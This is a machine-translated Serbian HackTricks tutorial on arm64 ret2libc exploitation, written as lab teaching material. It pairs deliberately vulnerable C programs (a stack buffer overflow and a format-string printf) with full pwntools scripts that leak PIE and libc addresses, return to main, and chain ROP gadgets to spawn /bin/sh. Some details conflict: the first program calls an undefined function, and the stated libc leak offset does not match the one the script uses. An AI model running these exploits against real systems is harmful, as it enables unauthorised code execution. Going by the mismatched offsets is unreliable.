Ret2lib + Printf leak - arm64

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Proverite planove pretplate!
Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

Ret2lib - NX zaobilaženje sa ROP (bez ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompajlirajte bez kanarinca:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Pronađi offset

x30 offset

Kreiranjem obrasca sa pattern create 200, koristeći ga, i proveravajući offset sa pattern search $x30 možemo videti da je offset 108 (0x6c).

Pogledajući disassembliranu glavnu funkciju možemo videti da želimo da skočimo na instrukciju koja direktno skače na printf, čiji je offset od mesta gde je binarni fajl učitan 0x860:

Pronađi sistem i `/bin/sh` string

Pošto je ASLR onemogućen, adrese će uvek biti iste:

Pronađi Gadgets

Moramo imati u x0 adresu do stringa /bin/sh i pozvati system.

Korišćenjem roopera pronađen je zanimljiv gadget:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Ovaj uređaj će učitati x0 iz $sp + 0x18 i zatim učitati adrese x29 i x30 iz sp i skočiti na x30. Tako da sa ovim uređajem možemo kontrolisati prvi argument i zatim skočiti na system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE zaobilaženje sa printf leak-ovima iz steka

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompajlirajte bez kanarinca:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE i ASLR, ali bez kanarinca

Runda 1:
Leak od PIE sa steka
Zloupotreba bof da se vrati u main
Runda 2:
Leak od libc sa steka
ROP: ret2system

Printf leaks

Postavljanjem breakpoint-a pre pozivanja printf, moguće je videti da postoje adrese za vraćanje u binarni kod na steku, kao i libc adrese:

Pokušavajući različite ofsete, %21$p može da leak-uje binarnu adresu (PIE bypass) i %25$p može da leak-uje libc adresu:

Oduzimanjem leak-ovane libc adrese od osnovne adrese libc, moguće je videti da je ofset leak-ovane adrese od osnove 0x49c40.

x30 ofset

Pogledajte prethodni primer jer je bof isti.

Pronađi Gadgets

Kao u prethodnom primeru, potrebno je imati u x0 adresu do stringa /bin/sh i pozvati system.

Korišćenjem roopera pronađen je još jedan zanimljiv gadget:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Ovaj uređaj će učitati x0 iz $sp + 0x78 i zatim učitati adrese x29 i x30 iz sp i skočiti na x30. Tako da sa ovim uređajem možemo kontrolisati prvi argument i zatim skočiti na system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()